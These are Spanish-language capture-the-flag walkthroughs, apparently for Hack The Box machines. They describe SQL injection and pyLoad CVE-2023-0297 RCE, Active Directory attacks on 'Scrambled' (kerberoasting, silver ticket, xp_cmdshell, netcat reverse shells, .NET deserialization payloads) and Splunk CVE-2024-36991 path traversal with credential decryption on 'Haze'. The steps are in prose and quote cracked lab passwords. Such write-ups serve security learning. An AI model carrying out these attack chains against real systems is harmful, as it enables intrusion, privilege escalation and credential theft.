Después de revisar los endpoints, vimos que no hay nada explotable a simple vista. Pero como el servicio maneja autenticación con usuarios, contraseñas e identificadores, es probable que haya una base de datos detrás. Esto nos abre la puerta a probar una posible inyección SQL (SQLi) si algún parámetro es vulnerable.

Para comprobarlo, empezamos a jugar con el parámetro id en getInfo. Un truco básico para detectar SQLi es usar OR 1=1, que si funciona, suele devolver un resultado válido sin importar el ID.

El mensaje de respuesta sugiere que la consulta se ejecutó sin error, lo que indica que podría haber SQLi en este punto.

Después de investigar los diferentes payloads para detectar la infraestructura de la base de datos, comprobamos que se trata de SQLite.

A través de PayloadsAllTheThings realizaremos las inyecciones SQL típicas para lograr extraer los datos de las bases de datos presentes.

El primer paso a realizar, será lograr determinar el total de columnas que dispone le base de datos, para así lograr inyectar el payload. En este caso, se confirma que la base de datos solamente dispone de una columna con una versión de SQLite 3.31.1.

A través de la siguiente inyección SQL, comprobamos las tablas presentes en la base de datos. En el resultado obtenido, verificamos la existencia de las tablas accountsy messages.

Enumeraremos las columnas presentes en la tabla accounts, en la cual se nos muestran las columnas usernamey password.

Comprobaremos los datos de las columnas presentes en la tabla accounts. En el resultado obtenido, comprobamos que nos aparecen las credenciales del usuario admin y del usuario sau.

Probaremos de conectarnos al equipo mediante SSH, una vez comprobado el acceso verificaremos la flag user.txt.

Privilege Escalation

Discover Internal Web Server (SSH Port Forwarding)

En el equipo, después de una enumeración inicial básica comprobamos algunos puertos internos desconocidos, en el cual al realizar un cURL sobre ellos se nos mostraba una redirección a lo que parece ser a un panel de login.

Después de identificar los puertos 8000 y 9666 corriendo en localhost, establecemos un port forwarding con SSH para exponerlos en nuestra máquina.

Esto nos permite acceder a los servicios en y desde nuestro navegador, como si estuvieran corriendo en nuestra máquina local. Ahora podemos interactuar con ellos y buscar posibles vulnerabilidades.

Accederemos a y comprobaremos que se trata de una página de inicio de sesión de pyLoad.

pyLoad es un gestor de descargas rápido, ligero y completo para muchos formatos de contenedores One-Click-Hoster como DLC, sitios de vídeo o simplemente enlaces http/ftp . Su objetivo es que los requisitos de hardware sean bajos y que la plataforma sea independiente para que pueda ejecutarse en todo tipo de sistemas (computadora de escritorio, netbook, NAS, enrutador).

A través de una búsqueda por Internet, comprobaremos las credenciales que se utilizan por defecto en pyLoad.

Al tratar de iniciar sesión las credenciales pyload/pyload se nos mostraba un mensaje de error indicando que las credenciales proporcionadas no eran válidas.

pyLoad 0.5.0 Exploitation - Prea-auth Remote Code Execution [RCE] (CVE-2023-0297)

Volvemos al equipo víctima y verificaremos quién es el usuario que está ejecutando el pyLoad, en este caso se verifica que es el usuario root. Por otro lado, también logramos comprobar la versión exacta del servicio de pyLoad.

Realizaremos una búsqueda con searchsploit para verificar si existe alguna vulnerabilidad conocida para pyLoad. En el resultado que hemos obtenido, comprobamos que existe una vulnerabilidad de Pre-auth RCE para la versión exacta que está levantado en el sistema víctima, con lo cual podríamos intentar explotar dicha vulnerabilidad reportada como CVE-2023-0297.

Inyección de código en el repositorio de GitHub pyload/pyload anterior a 0.5.0b3.dev31.

Realizando una búsqueda por Internet, nos encontramos con el siguiente repositorio de GitHub en el cual nos proporcionan un exploit para aprovecharnos de la vulnerabilidad.

Nos pondremos en escucha con ncpara recibir la Reverse Shell.

Realizaremos la ejecución del exploit sobre la URL vulnerable donde está el pyLoad, en este caso, utilizaremos debido que hemos aplicado Port-Forwarding e indicaremos nuestra dirección y puerto de atacante donde recibiremos la Reverse Shell.

Comprobaremos que hemos recibido la conexión al equipo victima y nos encontramos como root debido que el usuario que levantaba el servicio de pyLoad era él, por lo tanto, los comandos inyectados se ejecutarán como dicho usuario.

Finalmente logramos obtener la flag root.txt.

Analyzing how works payload

Analizaremos el exploit para verificar cómo funciona por detrás. Para ello, a través de la variable de entorno HTTP_PROXY indicaremos la dirección IP de nuestro localhost por el puerto 8080que es donde tenemos configurado BurpSuite.

Una vez indicado el proxy, ejecutaremos el exploit para que por ejemplo ejecute el comando whoami.

En la solicitud que se intercepta a través de BurpSuite, se verifica que para aprovecharnos de la vulnerabilidad se realiza una solicitud por el método POST al endpoint /flash/addcrypted2.

Posteriormente, se importa a realizar la importación de la librería os y se realiza la ejecución del payload, posteriormente se declaran funciones y variables necesarias para la explotación de la vulnerabilidad.

En este ejemplo, verificamos el funcionamiento de la vulnerabilidad a través de la solicitud por POST que tramitamos a través de BurpSuite.

Scrambled

Scrambled es una máquina mediana de Windows Active Directory. Al enumerar el sitio web alojado en la máquina remota, un atacante potencial puede deducir las credenciales del usuario ksimpson. En el sitio web, también se indica que la autenticación NTLM está deshabilitada, lo que significa que se debe utilizar la autenticación Kerberos. Al acceder al recurso compartido Public con las credenciales de ksimpson, un archivo PDF indica que un atacante recuperó las credenciales de una base de datos SQL.

Esto es un indicio de que hay un servicio SQL ejecutándose en la máquina remota. Al enumerar las cuentas de usuario normales, se descubre que la cuenta sqlsvc tiene un Service Principal Name (SPN) asociado a ella. Un atacante puede usar esta información para realizar un ataque que se conoce como kerberoasting y obtener el hash de SqlSvc. Después de descifrar el hash y adquirir las credenciales para la cuenta SqlSvc, un atacante puede realizar un ataque de ticket plateado para falsificar un ticket y hacerse pasar por el usuario Administrador en el servicio MSSQL remoto. La enumeración de la base de datos revela las credenciales del usuario MiscSvc, que se pueden usar para ejecutar código en la máquina remota mediante la comunicación remota de PowerShell.

La enumeración del sistema como el nuevo usuario revela una aplicación .NET, que está escuchando en el puerto 4411. La ingeniería inversa de la aplicación revela que está utilizando la clase insegura Binary Formatter para transmitir datos, lo que permite al atacante cargar su propia carga útil y obtener la ejecución del código como NT AUTHORITY\SYSTEM.

Reconnaissance

Proceremos a realizar un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Scrambled.

Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.

Procederemos a añadir la entrada en nuestro archivo /etc/hosts

Web Enumeration

Procederemos a enumerar el puerto 80 del equipo Scrambled, que es un sitio web. Enumerando las págians del sitio web, nos encontramos con la siguiente página que indica un mensaje a los usuarios informando que debido a un reciente ataque informático, han deshabilitado la autenticación NTLM en toda la red.

Esto nos sirve para saber que no podremos autenticarnos por NTLM para explotar vulnerabiliades.

En la siguiente página , nos damos cuenta que aparece en la captura lo que parece ser un usuario nombrado "ksimpson". Esto es útil debido que des de la misma enumeración de la página web podemos extraer información útil.

Más adelante, procederemos a verificar si este usuario es válido o no.

En la siguiente página web , se indica que el servicio de autogestión de contraseñas no está disponible actualmente debido al ataque informático. Pero que pueden dejar un mensaje indicando su usuario y el equipo de IT les restablecerá su contraseña para que coincida con el nombre de usuario.

Esto es una buena pista que podemos sacar para intentar enumerar credenciales válidas si encontramos usuarios, ya que será probable que algún usuario haya realizado el cambio de contraseña siguiendo las instrucciones del sitio web y no ha cambiado nuevamente la contraseña, por lo tanto, sigue con la contraseña que es el mismo nombre de usuario.

Users Enumeration

Kerberos User Enumeration - Kerbrute

Como aún no tenemos ningún usuario válido, procederemos primero a enumerar a ver si existe el usuario "ksimpson" que fue el que encontramos enumerando la página web.

Finalmente comprobamos que si que existe el usuario mencionado en el AD.

Procederemos a realizar la enumeración nuevamente con Kerbrute, pero esta vez pasándole un diccionario completo especializado para Kerberos sobre posibles nombres de usuario con la inicial y apellidos (A-ZSurnames). Comprobamos que conseguimos un buen listado de usuarios válidos.

ASRepRoast Attack (GetNPUsers) - [FAILED]

Como tenemos una cierta cantidad de usuarios válidos en el AD, podríamos intentar realizar un ASRepRoast Attack para verificar si alguno tiene la configuración (DONT_REQ_PREAUTH) en Kerberos. Esto nos permitiría obtener un TGT (Ticket Granting Ticket) y explorar posibles accesos.

Guardaremos los usuarios enumerados en un archivo "users" y procederemos a realizar el ataque, finalmente comprobamos que ninguno de los usuarios cumple el requisito, por lo tanto no podemos realizar el ataque.

Password Brute Force - Kerbrute

Recordando la página de "Reset Passwords" que enumeramos del sitio web, mencionaba que el equipo de IT restablecía la contraseña utilizando el mismo nombre de usuario.

En este punto, lo que podemos realizar es un ataque de fuerza Bruta para ver si uno de ellos tiene de contraseña el mismo nombre de usuario. En este caso del listado de usuarios, el usuario "ksimpson" es el que dispone como contraseña el mismo nombre de usuario. Por lo tanto, disponemos de unas credenciales válidas del dominio.

Crearemos un archivo llamado "credentials.txt" en el cual iremos almacenando las credenciales válidas que vayamos obteniendo.

Kerberoasting Attack - GetUsersSPNs.py

Contando ya con credenciales válidas de un usuario en el dominio, procederemos a realizar un ataque Kerberoasting para intentar obtener un TGS (Ticket Granting Service) de alguna cuenta de servicio del dominio.

En este caso, obtenemos un mensaje que indica: "Probably NTLM is disabled". Esto ya lo sabíamos previamente por el anuncio en el sitio web cuando lo enumeramos.

Dado que confirmamos que la autenticación NTLM está deshabilitada, ahora verificaremos si podemos obtener información utilizando autenticación Kerberos (-k), especificando el (-dc-host), que en este caso sería dc1-scrm.local. Al ejecutar el comando, observamos que logramos obtener los SPN (Service Principal Name) y el nombre de una cuenta que parece ser de servicio: sqlsvc.

Confirmado que a través de la autenticación por Kerberos obtenemos información, procederemos a realizar el ataque de Kerberoasting para intentar obtener un TGS (Ticket Granting Service) de alguna cuenta de servicio en el dominio.

Verificamos que obtenemos el hash krb5 del usuario "sqlsvc", que habíamos enumerado en el paso anterior.

Procederemos a guardarnos el hash en un archivo nombrado "hash.txt".

Cracking hashes with Hashcat

Procederemos a crackear el hash con la herramienta de Hashcat para intentar descubrir la contraseña correspondiente al hash krb5 y así obtener la contraseña en texto plano del usuario "sqlsvc"

Verificamos que Hashcat ha logrado crackear el hash, revelando que la contraseña es: Pegasus60

Procederemos a guardar estas nuevas credenciales en nuestro archivo "credentials.txt", además indicaremos el SPN (Service Principal Name) al cual corresponde esta cuenta de servicio.

Attempting to authenticate to the MSSQL service via Kerberos [FAILED]

"Dado que contamos con las credenciales de la cuenta de servicio que ejecuta MSSQL y hemos verificado que el servicio está expuesto en el puerto 1433, intentaremos autenticarnos en el servicio MSSQL mediante Kerberos, ya que la autenticación por NTLM está deshabilitada.

Al probar, vemos el mensaje: Login failed for user 'sqlsvc', y al intentar con el parámetro -windows-auth, se confirman los errores de NTLM."

Generaremos un TGT (Ticket Granting Ticket) para los usuarios sqlsvc y ksimpson, ya que conocemos sus credenciales. Luego intentaremos conectarnos al servicio MSSQL utilizando esos TGT mediante la variable KRB5CCNAME y el cliente mssqlclient.py con la autenticación Kerberos (-k).

A pesar de estos intentos, no logramos establecer la conexión.

Silver Ticket Attack

Debido que no podemos autenticarnos con los usuarios que hemos encontrado, podemos plantearnos el siguiente ataque: Silver Ticket Attack

Pensando que el usuario 'sqlsvc' es el que corre el servicio de MSSQL, podemos plantearnos realizar el ataque mencionado. Debido que para ejecutar el ataque debremos de disponer de los tres puntos siguientes:

Hash NTLM -> (lo conseguiremos a través de un convertidor de HASH NTLM, ya que disponemos de la contraseña en texto plano)
SPN (Service Principal Name) -> (lo disponemos de cuando realizamos el Kerberoasting [GetUserSPNs] )
Domain-Site -> (lo conseguiremos a través de getPAC.py)

Teniendo todo estos datos, tenemos capacidad de generar un TGS (Ticket Granting Service) de cualquier usuario del dominio.

Por lo tanto, podemos generar un TGS al usuario Administrador para llegarnos a conectar al AP (Application Server) que corre el servicio de MSSQL con el TGS obtenido, es decir, impersonando al usuario "Administrator".

Generating NTLM Hash through the online converter

Como disponemos de la contraseña en texto plano, pero para efectuar el Silver Ticket Attack debemos de disponer la contraseña en formato NTLM Hash, procederemos a convertirla a través de un Convertidor Online como es el siguiente -

Comprobamos que hemos generado el hash NTLM de la contraseña "Pegasus60" que correspondía a la de la cuenta de servicio 'sqlsvc'.+

Obtaining the Domain SID (getPAC.py)

Para obtener el Domain SID que lo necesitaremos para la ejecución del ataque, podemos hacer uso de getPAC.py para obtener el dato.

Forging a new TGS as Administrator user (NTLM Hash, Domain SID and SPN) (ticketer.py)

Guardaremos todos los datos que necesitamos en nuestor archivo "credentials.txt"

Utilizaremos la herramienta ticketer.py para ejecutar el Silver Ticket Attack, generando un TGS (Ticket Granting Service) que represente al usuario Administrator. Con este ticket, nos haremos pasar por Administrator al acceder al servicio MSSQL.

MSSQL service

Connecting to the MSSQL service with the newly created ticket

Con el tiquet TGS (Ticket Granting Service) procederemos a conectarnos a través de la variable KRB5CCNAME para indicarle el tiquet que hemos generado del usuario Administrator y con la herramienta de mssqlclient.py procederemos a autenticarnos al MSSQL service mediante Kerberos.

Comprobamos que hemos podido acceder al servicio MSSQL como usuario Administrator.

Enabling xp_cmdshell component in MSSQL [RCE]

Una vez obtenido el acceso, procederemos a configurar el MSSQL para habilitar el "xp_cmdshell" que es un componente para la ejecución de comandos, para así obtener un RCE (Remote Code Execution).

Comprobaremos que funciona correctamente el RCE.

En nuestra Kali nos copiaremos el binario de "nc.exe" a nuestro directorio actual de trabajo y levantaremos un servidor web para compartir el binario con el MSSQL que tenemos acceso.

Des del MSSQL procederemos descargarnos el "nc.exe" que estamos compartiendo des de nuestra Kali y lo almacenaremos en el directorio "C:\Temp".

En nuestra Kali, nos pondremos en escucha por el puerto 443.

Des de MSSQL procederemos a otorgarnos una Reverse Shell a nuestra Kali. Comprobamos que ganamos acceso al equipo, intentamos buscar la flag de "user.txt" pero no la localizamos.

Abusing SeImpersonatePrivilege (JuiciPotatoNG) - [FAILED]

Nos encontramos conectados al equipo comprometido con el usuario "sqlsvc". Revisando que privilegios dispone el usuario, nos damos cuenta que tiene habilitado el privilegio de , lo que nos permite impersonar a cualquier usuario.

En nuestra Kali procederemos a descargarnos el binario de , lo compartiremos a través de un servidor web montado en Python y des del equipo comprometido nos descargaremos el binario.

Probamos de ejecutar el binario para impersonar al usuario "Administrator" y que dicho usuario ejecute una cmd para que nos envíe una Reverse Shell a nuestra Kali, pero nos da problemas.

Esto seguramente por el CSID ya que nos encontramos en un Windows Server 2019 y dan problemas. Descartamos esta opción finalmente, probamos con PrintSpoofer y mismo resultado.

User Pivoting

MSSQL Enumeration

Volveremos al MSSQL service y procederemos a enumerar las BBDD, tablas y columnas y datos que existan. Comprobamos los nombres de las BBDD que existen.

Procederemos a listar las tablas de la BBDD "ScrambleHR".

Utilizaremos la BBDD mencionada y comprobarmeos todos los datos de la tabla "UserImport". Nos damos cuenta que aparece un usuario nombrado "miscsvc" y aparece su contraseña en texto plano.

RCE pivoting user with new credentials found

Volviendo a la terminal que habíamos ganado acceso anteriormente, probaremos de realizar un RCE para que sea ejecutado con el usuario encontrado para otorgarnos una Reverse Shell y ganar acceso al equipo con el usuario mencionado.

Primero de todo, crearemos el objeto en cuestión con su nombre de usuario y contraseña.

Verificaremos que actualmente somos el usuario "sqlsvc". Realizaremos el comando Invoke-Command con las credenciales almacenadas en la variable y a través de un ScriptBlock pasándole como comando "whoami" nos devuelve que somos el usuario "miscsvc", por lo tanto, comprobamos que podemos ejecutar comandos a nombre de dicho usuario.

En este punto, nos pondremos en escucha por el puerto 443 y a través del comando Invoke-Command y el Script-Block utilizando las credenciales almacenadas del usuario "miscsvc" nos otorgaremos una Reverse Shell.

Comprobamos que ganamos acceso al equipo como usuario "miscsvc" y localizamos la flag de user.txt

SMB Enumeration

Teniendo las credenciales del nuevo usuario, probaremos de conectarnos al SMB utilizando la autenticación de Kerberos (-k) debido que el NTLM está deshabilitado.

Nos conectaremos utilizando la herramienta de smbclient.py. Enumeramos el SMB y nos descargaremos los archivos "ScrambleClient.exe" y "ScrambleLib.dll".

EXE Binary Analysis

Nos pasaremos los dos archivos a nuestra MV de Windows 10 para analizar el binario. Ejecutando el binario comprobamos que tiene la siguiente interfaz, nos conectamos al server "dc1.scrm.local" y dejamos el puerto que viene ya por defecto. También le daremos para habilitar el debug.

Probaremos de iniciar sesión con las credenciales encontradas, pero no ganamos acceso.

Debugging with DNSpy

Procederemos a analizar el binario y el .dll a través de la herramienta DNSpy. Comprobando el .dll en el módulo de "SalesOrder" comprobamos que se está realizando serialización y deserialización. Esto puede ser un vector de ataque que podremos intentar explotar más adelante, debido que si está mal configuardo podemos realizar un Deserialization Attack para inyectar código malicioso.

Revisando el módulo de (ScrambleNetClient) comprobamos que hay una especio de backdoor que indica que a través del usuario "scrmdev" sin otorgarle contraseña se puede acceder a la aplicación.

Probaremos de iniciar sesión con el usuario "scrmdev" sin otorgarle credenciales.

Probaremos de enviar una nueva orden.

Comprobaremos que se ha enviado correctamente la orden al servidor.

Fijándonos en el .txt que genera el debug, nos damos cuenta que lo que se envía al servidor es el comando "UPLOAD_ORDER" con los datos serializados en Base64. Esto podemos intentar revisar si no está correctamente sanitizado para ejecutar código malicioso en el servidor.

Privilege Escalation

Creating a malicious base64 serialized Payload with ysoserial.net in order to get RCE

Procederemos a crearnos un payload de un código malicioso serializado en Base64 con la herramienta de .

Procederemos a ejecutar la herramienta para crearnos el payload, especificando que el formato de serialización será BinaryFormatter (este dato lo sabemos de cuando revisamos con DNSpy aparecía que el dato se encontraba en dicho formato), seguidamente que nos devuelva el output del payload encodeado en Base64 y que el comando será una Reverse Shell a nuestra Kali utilizando el Netcat que dejamos anteriormente cuando ganamos acceso al equipo por primera vez.

Send malicious payload to Kali with SmbServer

El contenido del payload nos lo guardaremos en un archivo .txt

Des de nuestra Kali, procedermos a crearnos un servidor SMB que comparta un recurso compartido nombrado "smbFolder" del directorio actual de trabajo. Este paso es esencial para compartiros el archivo entre Windows y nuestra Kali.

Configuraremos el servidor SMB especificando unas credenciales y habilitaremos el soporte a SMB2.

Des de la MV de Windows, mapearemos el recurso SMB asignándole la unidad X y accederemos con las credenciales. Una vez mapeado el recurso, copiaremos el archivo guardado "command.txt" a la unidad mapeada para así obtener el archivo en nuestra Kali.

En nuestra Kali, comprobaremos que disponemos del archivo "command.txt" que nos hemos compartido y del contenido que no haya sido alterado.

We send the serialized data to the server

En una terminal, nos pondremos en escucha con nc por el puerto 443 que es el que configuramos la Reverse Shell en el payload.

Con nc nos conectaremos al equipo de Scrambled (10.10.11.168) por el puerto 4411 que es donde se conecta la aplicación que ejecuta el programa y tramita la deserialización y serialización del dato. Le pasaremos el comando "UPLOAD_ORDER" que es la orden que espera recibir el servidor seguidamente del payload serializado.

Comprobamos que ganamos acceso al equipo como usuario "Administrator" que es el que ejecuta estos comandos en el servidor de la aplicación comprometida. Esto se ha logrado debido que no está bien sanitizado y el servidor al enviar el dato serializado, al deserializarlo no valida correctamente la entrada que envía el usuario, por lo tanto logramos obtener una Reverse Shell de este método.

Comprobamos la flag de root.txt.

Haze

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Haze. Este resultado lo almacenaremos en un archivo llamado allPorts.

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.

Para empezar, crearemos una variable de entorno llamada IP en la cual el valor será la IP de la máquina Haze, para hacer referencia a esa dirección IP cada vez que pongamos $IP.

Añadiremos en nuestro archivo /etc/hosts las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo nos responda correctamente a la dirección IP del equipo.

Por otro lado, también verificamos que el usuario guest se encuentra deshabilitado, con lo cual no podemos enumerar usuarios, recursos, etc.

Web Enumeration

En el resultado obtenido en Nmap, verificamos de la existencia de los puertos 8000 y 8089 que son puertos que normalmente utiliza Splunk para la interfaz web y la aomunicación entre instancias de Splunk.

Al realizar una enumeración de esos puertos con whatweb nos encontramos con las tecnologías que utiliza la aplicación web.

Al acceder a nos encontramos con la interfaz administrativa de inicio de sesión a Splunk. Necesitamos credenciales de acceso para acceder a la interfaz, probamos con credenciales típicas pero no obtenemos reusltado.

Splunk es un software para buscar, monitorizar y analizar macrodatos generados por máquinas de aplicaciones, sistemas e infraestructura IT a través de una interfaz web.

Al acceder a nos encontramos con la página web que utiliza Splunk para la comunicación entre las instancias que utiliza. Entre la información que disponemos, nos encontramos que utiliza la versión Splunk 9.2.1.

Esto puede proporcionar información adicional a un atacante debido que conoce la versión exacta de una aplicación, pudiendo buscar posibles vulnerabilidades reportadas que afecten a dicha versión.

Auth as paul.taylor

Splunk 9.2.1 Exploitation - Arbitrary Files Reads (CVE-2024-36991)

Realizando una búsqueda por Internet sobre esta versión para buscar posibles vulnerabilidades ya conocidas, nos encontramoscon diferentes vulnerabilidades. Entre las cuales la que más nos llama la atención es la reportada como CVE-2024-36991.

En Splunk Enterprise en Windows versiones por debajo de 9.2.2, 9.1.5, y 9.0.10, un atacante podría realizar un path traversal en el /modules/messaging/ endpoint en Splunk Enterprise en Windows. Esta vulnerabilidad sólo debería afectar a Splunk Enterprise en Windows.

Enel siguiente blog, nos detallan más en profundidad en relación a la vulnerabilidad de Path Traversal en la versión vulnerable de Splunk. Por otro lado, también ofrece un repositorio de GitHub en el que no smuestran un PoC para explotar dicha vulnerabilidad.

Durante la explotación de la vulnerabilidad CVE-2024-36991, logramos acceder al archivo passwd utilizado internamente por Splunk, ubicado en su directorio de instalación ($SPLUNK_HOME/etc/passwd). Aunque el sistema operativo es Windows, Splunk utiliza este archivo con un formato similar al clásico /etc/passwd de sistemas Unix/Linux para almacenar usuarios locales cuando no se utiliza LDAP como método de autenticación exclusivo.

Este archivo contiene los nombres de usuario locales, junto con sus hashes de contraseñas (SHA512-Crypt). Gracias a esto, pudimos extraer varios hashes y proceder a su análisis offline para intentar recuperar contraseñas válidas y acceder a la interfaz web de Splunk con privilegios administrativos.

Verificamos que el tipo de hash que obtenemos del $SPLUNK_HOME/etc/passwd se encuentra en SHA-512. Intentamos crackear estos hashes pero no logramos obtener resultado ninguno.

La vulnerabilidad de Path Traversal de esta versión de Splunk se realiza a través del siguiente PoC.

En este caso, pusimos a prueba para intentar listar un archivo del sistema Windows. En el resultado obtenido, verificamos que logramos obtener el archivo C:\Windows\win.ini realizando el Path Traversal.

También podemos listar otros archivos realizando el Path Traversal, como en este caso que pudimos listar el C:\Windows\System32\drivers\etc\hosts del sistema operativo Windows que levanta el servicio de Splunk, probablemente el mismo Domain Controller.

Leaking and Decrypting Splunk Credentials via Arbitrary File Read + splunksecrets

El siguiente objetivo será intentar listar archivos sensibles de configuración de Splunk para intentar obtener credenciales de acceso. El primer objetivo que teníamos presentes es el de server.conf ubicado normalmente en C:/Program Files/Splunk/etc/system/local/server.conf.

Dentro del archivo server.conf observamos parámetros como pass4SymmKey y sslPassword, los cuales están cifrados con una clave maestra interna de Splunk conocida como splunk.secret. Esta clave se genera automáticamente durante la instalación de Splunk y se guarda en el archivo:

Splunk utiliza esta clave para cifrar y descifrar contraseñas almacenadas en texto cifrado dentro de múltiples archivos de configuración, como server.conf o authentication.conf. Por lo tanto, si logramos acceder al archivo splunk.secret, podemos desencriptar los valores cifrados que aparezcan en otras configuraciones del sistema, lo que puede exponer credenciales administrativas u otras contraseñas sensibles.

Con esto en mente, el siguiente paso fue localizar y descargar el archivo splunk.secret, con el objetivo de usarlo más adelante junto con la herramienta splunksecrets

En un blog que encontramos durante la fase de investigación, se mencionaba que el archivo splunk.secret suele estar ubicado en la ruta:

Con esta información, decidimos utilizar nuevamente la vulnerabilidad de Path Traversal para intentar acceder a dicho archivo. La petición fue exitosa y logramos obtener el contenido completo del archivo splunk.secret, el cual es utilizado por Splunk como clave maestra para cifrar y descifrar contraseñas en archivos de configuración internos:

Además del archivo server.conf, Splunk también utiliza otros archivos de configuración sensibles. Uno de ellos es authentication.conf, el cual nos resultó especialmente interesante ya que no solo contiene parámetros de autenticación, sino también credenciales asociadas a un usuario de dominio. Este archivo normalmente se encuentra ubicado en:

En este archivo se mostraba el usuario de dominio Paul Taylor, configurado como bindDN, junto con su contraseña cifrada. Esa contraseña estaba protegida con el sistema interno de Splunk, usando la clave maestra splunk.secret que ya habíamos conseguido antes.

Para desencriptar la contraseña cifrada, utilizamos la herramienta splunksecrets, la cual instalamos directamente desde su repositorio oficial en GitHub. Esta herramienta nos permite descifrar valores protegidos por Splunk utilizando el archivo splunk.secret como clave maestra.

Descargamos el archivo splunk.secret mediante Path Traversal y lo guardamos localmente para usarlo con la herramienta splunksecrets, la cual instalamos desde su repositorio oficial. Con esta herramienta, desencriptamos la contraseña cifrada del usuario Paul Taylor que habíamos encontrado previamente en el archivo authentication.conf.

El comando nos devolvió la contraseña en texto plano: Ld@p_Auth_Sp1unk@2k24.

Username Enumeration: NameMash Generation and Kerbrute Validation

Disponemos de unas credenciales que parecen estar relacionadas con LDAP, pero no disponemos del nombre de usuario válido de Paul Taylor, solamente su nombre y apellido. Por dicho motivo, crearemos un archivo employees.txt en el cual ingresemos el nombre y apellido del único usuario que disponemos para posteriormente crear un diccionario de posibles nombres de usuarios.

A través de la herramienta de namemash.py nos encargaremos de generar un listado de posibles usuarios a través de la combinación del nombre y apellido obtenido.

Para validar los posibles nombres de usuario generados previamente, utilizamos la herramienta Kerbrute, que dispone de un módulo específico para enumerar usuarios a través de fuerza bruta contra el servicio Kerberos (puerto 88). Esta técnica nos permite identificar usuarios válidos sin necesidad de conocer sus contraseñas.

Antes de ejecutar la herramienta, ajustamos el archivo de configuración /etc/krb5.conf para evitar problemas de resolución con el dominio y asegurar que Kerberos funcione correctamente. Dejamos el archivo con la siguiente configuración:

Además, para evitar el error KRB_AP_ERR_SKEW relacionado con la diferencia horaria en Kerberos, sincronizamos la hora de nuestra máquina con la del controlador de dominio (DC) utilizando el siguiente comando.

Este paso es clave en ataques relacionados con Kerberos, ya que una diferencia de tiempo superior a 5 minutos entre el cliente y el servidor puede bloquear la autenticación.

Con el diccionario generado previamente, ejecutamos Kerbrute para validar los posibles nombres de usuario contra el servicio Kerberos del dominio haze.htb. Utilizamos el módulo userenum, que nos permite comprobar qué usuarios existen en el dominio sin necesidad de conocer sus contraseñas.

La herramienta nos confirmó que el usuario paul.taylor@haze.htb era válido. Esto validaba que nuestra estrategia de generación de nombres había funcionado y nos daba una cuenta real sobre la cual enfocar los siguientes pasos del ataque.

Probamos de autenticarnos con NetExec mediante LDAP con las credenciales y el nombre de usuario obtenido, y verificamos que las credenciales son válidas para dicho usuario.

Por otro lado, también comprobamos que a través del usuario paul.taylor no podemos conectarnos al Domain Controller a través de WinRM, ya que probablemente no forme parte del grupo Remote Management Users o sea administrador local del equipo.

Shell as mark.adams

RID Cycling Attack (ridenum)

Como ya teníamos credenciales válidas del dominio (paul.taylor), lanzamos un ataque de RID Cycling con la herramienta ridenum para enumerar usuarios y equipos del dominio a través de los RIDs. Esta técnica se basa en que los identificadores de los objetos del dominio siguen un patrón secuencial dentro del SID base.

La herramienta identificó el SID base del dominio (S-1-5-21-323145914-28650650-2368316563) y, a partir de ahí, fue enumerando RIDs y recuperando cuentas reales del dominio. Entre los resultados obtenidos encontramos usuarios y equipos como Administrator, krbtgt, mark.adams, edward.martin, alexander.green y el equipo Haze-IT-Backup$, lo que nos permitió obtener un listado de usuarios válidos.

Nos copiaremos el resultado obtenido anteriormente en un archivo llamado users.txt, y a través de expresiones regulares nos quedaremos solamente con los nombres de usuarios.

Password Spraying using Kerbrute

A través de la herramienta de Kerbrute realizamos un Password Spraying para verificar si la contraseña obtenida anteriormente se reutilizaba para alguno de los usuarios obtenidos.

Como resultado, verificamos que las credenciales son válidas para el usuario paul.taylor (que disponíamos principalmente) y de un nuevo usuario mark.adams.

Abusing WinRM - EvilWinRM

Las credenciales son válidas, ya que a través de Kerbrute realiza la validación a través de la autenticación de Kerberos. Por otro lado, verificamos si a través de este usuario podíamos autenticarnos mediante WinRM al Domain Controller.

Comprobamos que podemos acceder al DC, pero con este usuario aún no obtenemos la flag user.txt.

Auth as Haze-IT-Backup$

BloodHound Enumeration

En este punto, buscamos continuar escalando privilegios dentro del dominio a través de movimiento lateral. Para ello, utilizamos BloodHound, una herramienta que nos permite mapear relaciones dentro del dominio y detectar posibles vectores de escalada de privilegios.

Con las credenciales válidas del usuario mark.adams, lanzamos la enumeración completa utilizando bloodhound-python, que se encarga de recolectar toda la información necesaria a través de LDAP y Kerberos

Al analizar la información recolectada con BloodHound, observamos que el usuario mark.adams@haze.htb formaba parte de varios grupos, entre ellos Remote Management Users, lo que nos explicaba por qué fue posible conectarnos mediante WinRM de forma remota.

Además, también era miembro del grupo gMSA_Managers, lo cual nos llamó la atención porque podría estar relacionado con la gestión de cuentas de servicio administradas (gMSA), y representar un posible vector de escalada lateral o privilegios si alguna de esas cuentas está mal configurada.

Desde el mismo Domain Controller autenticados como mark.adams verificamos la misma información de los grupos a los cuales pertenece dicho usuario.

Privilege Abuse via Set-ADServiceAccount and ACL Modification to Dump gMSA Password

Como formábamos parte del grupo gMSA_Managers, pensamos que quizás podríamos leer la contraseña de alguna cuenta gMSA del dominio. Para comprobarlo, utilizamos PowerView.py, una versión en Python de la herramienta PowerView, que permite realizar consultas LDAP de forma sencilla desde fuera del entorno Windows.

Nos conectamos con las credenciales de mark.adams y ejecutamos el módulo Get-GMSA, que automáticamente intenta recuperar las contraseñas de cuentas gMSA a las que tengamos permiso de lectura.

El resultado mostró una cuenta gMSA asociada al equipo Haze-IT-Backup$, pero en este caso el campo PrincipalsAllowedToRead indicaba que solo los Domain Admins tenían permisos para acceder a su contraseña, por lo que de momento no podíamos leerla directamente.

Más adelante veremos cómo aprovechamos nuestra pertenencia al grupo gMSA_Managers para modificar esta configuración y obtener acceso a esa cuenta.

El cmdlet Set-ADServiceAccount permite modificar las propiedades de una cuenta de servicio administrada (MSA o gMSA) dentro de Active Directory. Uno de sus parámetros más importantes es -PrincipalsAllowedToRetrieveManagedPassword, que define qué usuarios o grupos tienen permiso para leer la contraseña de una cuenta gMSA.

